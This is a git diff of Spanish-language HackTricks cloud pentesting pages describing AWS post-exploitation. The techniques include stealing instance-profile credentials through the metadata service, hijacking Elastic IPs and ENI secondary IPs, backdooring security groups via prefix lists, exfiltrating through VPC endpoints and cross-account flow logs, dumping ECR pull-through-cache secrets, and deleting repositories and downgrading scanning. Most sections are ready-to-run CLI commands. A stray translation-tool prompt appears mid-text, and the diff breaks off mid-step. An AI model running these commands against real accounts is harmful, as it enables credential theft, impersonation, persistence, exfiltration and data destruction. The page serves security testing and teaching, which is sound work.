+# SSH via the tunnel (within the 60s window)
+ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
+```
+## Prueba de Post-exploitation (steal instance profile credentials)
+```bash
+# From the shell inside the instance
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
+```
+Por favor, pega el contenido del archivo (markdown) que deseas traducir a español.
+```json
+{
+"Code": "Success",
+"AccessKeyId": "ASIA...",
+"SecretAccessKey": "w0G...",
+"Token": "IQoJ...",
+"Expiration": "2025-10-08T04:09:52Z"
+}
+```
+Usa los creds robados localmente para verificar la identidad:
+```bash
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity --region "$REGION"
+# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
+```
+## Limpieza
+```bash
+# Revoke SG ingress on the target
+aws ec2 revoke-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+
+# Delete EIC Endpoint
+aws ec2 delete-instance-connect-endpoint \
+--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
+```
+> Notas
+> - La clave SSH inyectada solo es válida durante ~60 segundos; envía la clave justo antes de abrir el túnel/SSH.
+> - `OS_USER` debe coincidir con la AMI (p. ej., `ubuntu` para Ubuntu, `ec2-user` para Amazon Linux 2).

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md

@@ -0,0 +1,52 @@
+# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Resumen
+
+Abusar de `ec2:AssociateAddress` (y opcionalmente `ec2:DisassociateAddress`) para reasociar un Elastic IP (EIP) de una instancia/ENI de la víctima a una instancia/ENI del atacante. Esto redirige el tráfico entrante destinado al EIP hacia el atacante y también permite al atacante originar tráfico saliente con la IP pública allowlisted para eludir los firewalls externos de partners.
+
+## Requisitos previos
+- ID de asignación del EIP de destino en la misma cuenta/VPC.
+- Instancia/ENI del atacante que controlas.
+- Permisos:
+- `ec2:DescribeAddresses`
+- `ec2:AssociateAddress` en el EIP allocation-id y en la instancia/ENI del atacante
+- `ec2:DisassociateAddress` (opcional). Nota: `--allow-reassociation` desasociará automáticamente de la asociación previa.
+
+## Ataque
+
+Variables
+```bash
+REGION=us-east-1
+ATTACKER_INSTANCE=<i-attacker>
+VICTIM_INSTANCE=<i-victim>
+```
+1) Asignar o identificar el EIP de la victim (el lab asigna uno nuevo y lo adjunta a victim)
+```bash
+ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
+EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
+```
+2) Verificar que la EIP actualmente resuelve al servicio de la víctima (por ejemplo, comprobando un banner)
+```bash
+curl -sS http://$EIP | grep -i victim
+```
+3) Reasociar el EIP al attacker (se desasocia automáticamente del victim)
+```bash
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
+```
+4) Verificar que el EIP ahora resuelve al attacker service
+```bash
+sleep 5; curl -sS http://$EIP | grep -i attacker
+```
+Evidencia (asociación movida):
+```bash
+aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
+--query Addresses[0].AssociationId --output text
+```
+## Impacto
+- Inbound impersonation: Todo el tráfico hacia el EIP secuestrado se entrega a la instancia/ENI del atacante.
+- Outbound impersonation: El atacante puede iniciar tráfico que parece originarse desde la allowlisted public IP (útil para eludir filtros de IP de socios/fuentes externas).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md

@@ -0,0 +1,50 @@
+# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abuse `ec2:UnassignPrivateIpAddresses` and `ec2:AssignPrivateIpAddresses` to steal a victim ENI’s secondary private IP and move it to an attacker ENI in the same subnet/AZ. Muchos servicios internos y security groups gatean el acceso por IPs privadas específicas. Al mover esa dirección secundaria, el atacante se hace pasar por el host de confianza a nivel L3 y puede alcanzar servicios allowlisted.
+
+Prereqs:
+- Permisos: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` en el ARN del ENI víctima, y `ec2:AssignPrivateIpAddresses` en el ARN del ENI atacante.
+- Ambos ENIs deben estar en la misma subnet/AZ. La dirección objetivo debe ser una IP secundaria (la primaria no puede ser desasignada).
+
+Variables:
+- REGION=us-east-1
+- VICTIM_ENI=<eni-xxxxxxxx>
+- ATTACKER_ENI=<eni-yyyyyyyy>
+- PROTECTED_SG=<sg-protected>   # SG on a target service that allows only $HIJACK_IP
+- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
+
+Pasos:
+1) Elige una IP secundaria del ENI víctima
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
+export HIJACK_IP=$(cat HIJACK_IP)
+```
+2) Asegúrate de que el host protegido permita solo esa IP (idempotente). Si en su lugar usas reglas SG-to-SG, omite este paso.
+```bash
+aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
+```
+3) Línea base: desde la instancia atacante, la solicitud a PROTECTED_HOST debería fallar sin origen falsificado (p. ej., a través de SSM/SSH)
+```bash
+curl -sS --max-time 3 http://$PROTECTED_HOST || true
+```
+4) Desasignar la IP secundaria del ENI de la víctima
+```bash
+aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+5) Asignar la misma IP al attacker ENI (en AWS CLI v1 agrega `--allow-reassignment`)
+```bash
+aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+6) Verificar que la propiedad se transfirió
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
+```
+7) Desde la attacker instance, haz source-bind a la hijacked IP para alcanzar el protected host (asegúrate de que la IP esté configurada en el OS; si no, añádela con `ip addr add $HIJACK_IP/<mask> dev eth0`)
+```bash
+curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
+```
+## Impacto
+- Eludir las IP allowlists y suplantar hosts de confianza dentro de la VPC moviendo secondary private IPs entre ENIs en la misma subnet/AZ.
+- Acceder a servicios internos que controlan el acceso por IPs de origen específicas, permitiendo lateral movement y acceso a datos.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md

@@ -0,0 +1,72 @@
+# AWS - Security Group Backdoor via Managed Prefix Lists
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Resumen
+Abusar de customer-managed Prefix Lists para crear una vía de acceso sigilosa. Si una security group (SG) rule referencia una managed Prefix List, cualquiera con la capacidad de modificar esa lista puede añadir silenciosamente CIDRs controlados por el atacante. Cada SG (y potencialmente Network ACL o VPC endpoint) que haga referencia a la lista permitirá inmediatamente los nuevos rangos sin ningún cambio visible en el SG.
+
+## Impacto
+- Expansión instantánea de los rangos de IP permitidos para todos los SG que referencian la prefix list, eludiendo los controles de cambio que solo monitorizan las ediciones de SG.
+- Permite backdoors persistentes de ingress/egress: mantener el CIDR malicioso oculto en la prefix list mientras la SG rule aparece sin cambios.
+
+## Requisitos
+- IAM permissions:
+- `ec2:DescribeManagedPrefixLists`
+- `ec2:GetManagedPrefixListEntries`
+- `ec2:ModifyManagedPrefixList`
+- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (to identify attached SGs)
+- Optional: `ec2:CreateManagedPrefixList` if creating a new one for testing.
+- Entorno: Al menos una SG rule que referencia la customer-managed Prefix List objetivo.
+
+## Variables
+```bash
+REGION=us-east-1
+PREFIX_LIST_ID=<pl-xxxxxxxx>
+ENTRY_CIDR=<attacker-cidr/32>
+DESCRIPTION="Backdoor – allow attacker"
+```
+## Pasos del ataque
+
+1) **Enumerar listas de prefijos candidatas y sus consumidores**
+```bash
+aws ec2 describe-managed-prefix-lists \
+--region "$REGION" \
+--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
+--output table
+
+aws ec2 get-managed-prefix-list-entries \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--region "$REGION" \
+--query 'Entries[*].[Cidr,Description]'
+```
+Usa `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` para confirmar qué reglas de SG dependen de la lista.
+
+2) **Add attacker CIDR to the prefix list**
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
+--region "$REGION"
+```
+3) **Validar la propagación a los grupos de seguridad**
+```bash
+aws ec2 describe-security-group-rules \
+--region "$REGION" \
+--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
+--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
+--output table
+```
+El tráfico desde `$ENTRY_CIDR` ahora está permitido dondequiera que se haga referencia a la prefix list (comúnmente reglas de salida en egress proxies o reglas de entrada en servicios compartidos).
+
+## Evidencia
+- `get-managed-prefix-list-entries` refleja el CIDR del atacante y la descripción.
+- `describe-security-group-rules` aún muestra la regla SG original que referencia la prefix list (no hay registro de modificación de la SG), sin embargo el tráfico desde el nuevo CIDR funciona.
+
+## Limpieza
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--remove-entries Cidr="$ENTRY_CIDR" \
+--region "$REGION"
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md

@@ -0,0 +1,68 @@
+# AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Resumen
+
+Esta técnica abusa de VPC Endpoints para crear canales de exfiltración desde subredes sin Internet Gateways o NAT. Gateway endpoints (e.g., S3) añaden rutas de prefix‑list en las tablas de enrutamiento de las subredes; Interface endpoints (e.g., execute-api, secretsmanager, ssm, etc.) crean ENIs alcanzables con IPs privadas protegidas por security groups. Con permisos mínimos de VPC/EC2, un atacante puede habilitar egress controlado que no atraviesa la Internet pública.
+
+> Requisitos: VPC existente y subredes privadas (no IGW/NAT). Necesitarás permisos para crear VPC endpoints y, para la Opción B, un security group para adjuntar a las ENIs del endpoint.
+
+## Opción A – S3 Gateway VPC Endpoint
+
+**Variables**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `RTB_IDS=<comma-separated route table IDs of private subnets>`
+
+1) Crea un archivo de política de endpoint permisiva (opcional). Guárdalo como `allow-put-get-any-s3.json`:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
+}
+```
+2) Crear el S3 Gateway endpoint (agrega la ruta S3 prefix‑list a las route tables seleccionadas):
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.s3 \
+--vpc-endpoint-type Gateway \
+--route-table-ids $RTB_IDS \
+--policy-document file://allow-put-get-any-s3.json   # optional
+```
+Evidencia a capturar:
+- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` muestra una ruta a la lista de prefijos de AWS S3 (p. ej., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
+- Desde una instancia en esas subredes (con permisos IAM) puedes exfil via S3 sin Internet:
+```bash
+# On the isolated instance (e.g., via SSM):
+echo data > /tmp/x.txt
+aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
+```
+## Opción B – Interface VPC Endpoint para API Gateway (execute-api)
+
+**Variables**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `SUBNET_IDS=<comma-separated private subnets>`
+- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
+
+1) Crear el interface endpoint y asociar el SG:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.execute-api \
+--vpc-endpoint-type Interface \
+--subnet-ids $SUBNET_IDS \
+--security-group-ids $SG_VPCE \
+--private-dns-enabled
+```
+Evidencia a capturar:
+- `aws ec2 describe-vpc-endpoints` muestra el endpoint en estado `available` con `NetworkInterfaceIds` (ENIs en tus subredes).
+- Las instancias en esas subredes pueden acceder a endpoints de Private API Gateway a través de esas VPCE ENIs (no se requiere ruta a Internet).
+
+## Impact
+- Elude los controles de egress perimetral aprovechando rutas privadas gestionadas por AWS hacia servicios de AWS.
+- Permite la exfiltración de datos desde subredes aisladas (p. ej., escribir en S3; llamar a Private API Gateway; acceder a Secrets Manager/SSM/STS, etc.) sin IGW/NAT.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md

@@ -0,0 +1,74 @@
+# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Resumen
+Abusa de `ec2:CreateFlowLogs` para exportar los VPC, subnet o ENI flow logs directamente a un bucket S3 controlado por el atacante. Una vez que el delivery role esté configurado para escribir en el bucket externo, cada conexión vista en el recurso monitorizado se transmite fuera de la cuenta víctima.
+
+## Requisitos
+- Principal de la víctima: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs` y `iam:PassRole` (si se requiere/se crea un delivery role).
+- Bucket del atacante: Política S3 que confíe en `delivery.logs.amazonaws.com` con `s3:PutObject` y `bucket-owner-full-control`.
+- Opcional: `logs:DescribeLogGroups` si se exporta a CloudWatch en lugar de S3 (no necesario aquí).
+
+## Desarrollo del ataque
+
+1) **Atacante** prepara una política de bucket S3 (en la cuenta del atacante) que permite que el servicio de entrega de VPC Flow Logs escriba objetos. Reemplaza los marcadores antes de aplicarla:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVPCFlowLogsDelivery",
+"Effect": "Allow",
+"Principal": { "Service": "delivery.logs.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
+"Condition": {
+"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
+}
+}
+]
+}
+```
+Aplicar desde la cuenta del atacante:
+```bash
+aws s3api put-bucket-policy \
+--bucket <attacker-bucket> \
+--policy file://flowlogs-policy.json
+```
+2) **Victim** (compromised principal) crea los flow logs dirigidos al attacker bucket:
+```bash
+REGION=us-east-1
+VPC_ID=<vpc-xxxxxxxx>
+ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
+aws ec2 create-flow-logs \
+--resource-type VPC \
+--resource-ids "$VPC_ID" \
+--traffic-type ALL \
+--log-destination-type s3 \
+--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
+--deliver-logs-permission-arn "$ROLE_ARN" \
+--region "$REGION"
+```
+En cuestión de minutos, los archivos de flow log aparecen en el attacker bucket que contienen conexiones para todas las ENIs en la VPC/subnet monitoreada.
+
+## Evidencia
+
+Registros de flow log de ejemplo escritos en el attacker bucket:
+```text
+version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
+2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
+```
+Prueba de Bucket listing:
+```bash
+aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
+```
+## Impacto
+- Exfiltración continua de metadatos de red (IPs de origen/destino, puertos, protocolos) para la VPC/subnet/ENI monitorizada.
+- Permite el análisis de tráfico, la identificación de servicios sensibles y el posible hunting de security group misconfigurations desde fuera de la cuenta de la víctima.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md

@@ -1,92 +0,0 @@
-# AWS - ECR Post Explotación
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Para más información consulta
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Iniciar sesión, Descargar y Subir
-```bash
-# Docker login into ecr
-## For public repo (always use us-east-1)
-aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
-## For private repo
-aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
-## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
-
-# Download
-docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
-## If you still have the error "Requested image not found"
-## It might be because the tag "latest" doesn't exit
-## Get valid tags with:
-TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
-curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
-
-# Inspect the image
-docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
-
-# Upload (example uploading purplepanda with tag latest)
-docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-
-# Downloading without Docker
-# List digests
-aws ecr batch-get-image --repository-name level2 \
---registry-id 653711331788 \
---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
-
-## Download a digest
-aws ecr get-download-url-for-layer \
---repository-name level2 \
---registry-id 653711331788 \
---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
-```
-Después de descargar las imágenes, debes **verificarlas en busca de información sensible**:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
-{{#endref}}
-
-### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-
-Un atacante con cualquiera de estos permisos puede **crear o modificar una política de ciclo de vida para eliminar todas las imágenes en el repositorio** y luego **eliminar todo el repositorio de ECR**. Esto resultaría en la pérdida de todas las imágenes de contenedor almacenadas en el repositorio.
-```bash
-bashCopy code# Create a JSON file with the malicious lifecycle policy
-echo '{
-"rules": [
-{
-"rulePriority": 1,
-"description": "Delete all images",
-"selection": {
-"tagStatus": "any",
-"countType": "imageCountMoreThan",
-"countNumber": 0
-},
-"action": {
-"type": "expire"
-}
-}
-]
-}' > malicious_policy.json
-
-# Apply the malicious lifecycle policy to the ECR repository
-aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
-
-# Delete the ECR repository
-aws ecr delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete the ECR public repository
-aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete multiple images from the ECR repository
-aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-
-# Delete multiple images from the ECR public repository
-aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md

@@ -0,0 +1,209 @@
+# AWS - ECR Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Para más información, consulta
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Login, Pull & Push
+```bash
+# Docker login into ecr
+## For public repo (always use us-east-1)
+aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
+## For private repo
+aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
+## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
+
+# Download
+docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
+## If you still have the error "Requested image not found"
+## It might be because the tag "latest" doesn't exit
+## Get valid tags with:
+TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
+curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
+
+# Inspect the image
+docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
+docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
+
+# Upload (example uploading purplepanda with tag latest)
+docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+
+# Downloading without Docker
+# List digests
+aws ecr batch-get-image --repository-name level2 \
+--registry-id 653711331788 \
+--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
+
+## Download a digest
+aws ecr get-download-url-for-layer \
+--repository-name level2 \
+--registry-id 653711331788 \
+--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
+```
+Después de descargar las imágenes debes **comprobarlas en busca de información sensible**:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
+
+Un atacante con cualquiera de estos permisos puede **crear o modificar una lifecycle policy para eliminar todas las imágenes del repositorio** y luego **eliminar por completo el repositorio ECR**. Esto resultaría en la pérdida de todas las imágenes de contenedor almacenadas en el repositorio.
+```bash
+# Create a JSON file with the malicious lifecycle policy
+echo '{
+"rules": [
+{
+"rulePriority": 1,
+"description": "Delete all images",
+"selection": {
+"tagStatus": "any",
+"countType": "imageCountMoreThan",
+"countNumber": 0
+},
+"action": {
+"type": "expire"
+}
+}
+]
+}' > malicious_policy.json
+
+# Apply the malicious lifecycle policy to the ECR repository
+aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
+
+# Delete the ECR repository
+aws ecr delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete the ECR public repository
+aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete multiple images from the ECR repository
+aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+
+# Delete multiple images from the ECR public repository
+aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Exfiltrar credenciales de upstream registries desde ECR Pull‑Through Cache (PTC)
+
+Si ECR Pull‑Through Cache está configurado para upstream registries autenticados (Docker Hub, GHCR, ACR, etc.), las credenciales upstream se almacenan en AWS Secrets Manager con un prefijo de nombre predecible: `ecr-pullthroughcache/`. Los operadores a veces conceden a los administradores de ECR un acceso amplio de lectura a Secrets Manager, lo que permite la exfiltración de credenciales y su reutilización fuera de AWS.
+
+Requisitos
+- secretsmanager:ListSecrets
+- secretsmanager:GetSecretValue
+
+Enumerar secretos candidatos de PTC
+```bash
+aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
+--output text
+```
+Volcar secretos descubiertos y analizar campos comunes
+```bash
+for s in $(aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
+aws secretsmanager get-secret-value --secret-id "$s" \
+--query SecretString --output text | tee /tmp/ptc_secret.json
+jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
+jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
+done
+```
+Opcional: validar leaked creds contra el upstream (read‑only login)
+```bash
+echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
+```
+Impacto
+- Leer estas entradas de Secrets Manager proporciona credenciales reutilizables del registro upstream (usuario/contraseña o token), que pueden ser abusadas fuera de AWS para extraer imágenes privadas o acceder a repositorios adicionales según los permisos del upstream.
+
+
+### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
+
+Un atacante con permisos de ECR a nivel de registro puede, de forma silenciosa, reducir o desactivar el escaneo automático de vulnerabilidades para TODOS los repositorios estableciendo la configuración de escaneo del registro en BASIC sin reglas de scan-on-push. Esto evita que los nuevos pushes de imágenes se escaneen automáticamente, ocultando imágenes vulnerables o maliciosas.
+
+Requisitos
+- ecr:PutRegistryScanningConfiguration
+- ecr:GetRegistryScanningConfiguration
+- ecr:PutImageScanningConfiguration (opcional, por repositorio)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (verificación)
+
+Registry-wide downgrade to manual (no auto scans)
+```bash
+REGION=us-east-1
+# Read current config (save to restore later)
+aws ecr get-registry-scanning-configuration --region "$REGION"
+
+# Set BASIC scanning with no rules (results in MANUAL scanning only)
+aws ecr put-registry-scanning-configuration \
+--region "$REGION" \
+--scan-type BASIC \
+--rules '[]'
+```
+Prueba con un repo y una image
+```bash
+acct=$(aws sts get-caller-identity --query Account --output text)
+repo=ht-scan-stealth
+aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
+docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
+
+# Verify no scan ran automatically
+aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
+# Optional: will error with ScanNotFoundException if no scan exists
+aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
+```
+Opcional: degradar aún más a nivel del repo
+```bash
+# Disable scan-on-push for a specific repository
+aws ecr put-image-scanning-configuration \
+--region "$REGION" \
+--repository-name "$repo" \
+--image-scanning-configuration scanOnPush=false
+```
+Impacto
+- Los nuevos pushes de imágenes a través del registro no se escanean automáticamente, reduciendo la visibilidad de contenido vulnerable o malicioso y retrasando la detección hasta que se inicie un escaneo manual.
+
+### Reducción del motor de escaneo a nivel de registro mediante `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
+
+Reduce la calidad de detección de vulnerabilidades en todo el registro cambiando el motor de escaneo BASIC del valor por defecto AWS_NATIVE al motor legacy CLAIR. Esto no desactiva el escaneo, pero puede cambiar materialmente los hallazgos/cobertura. Combínalo con una configuración de escaneo de registro BASIC sin reglas para hacer que los escaneos sean únicamente manuales.
+
+Requisitos
+- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
+- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+
+Impacto
+- La configuración del registro `BASIC_SCAN_TYPE_VERSION` se establece en `CLAIR`, por lo que los escaneos BASIC posteriores se ejecutan con el motor degradado. CloudTrail registra la llamada API `PutAccountSetting`.
+
+Pasos
+```bash
+REGION=us-east-1
+
+# 1) Read current value so you can restore it later
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
+
+# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
+
+# 3) Verify the setting
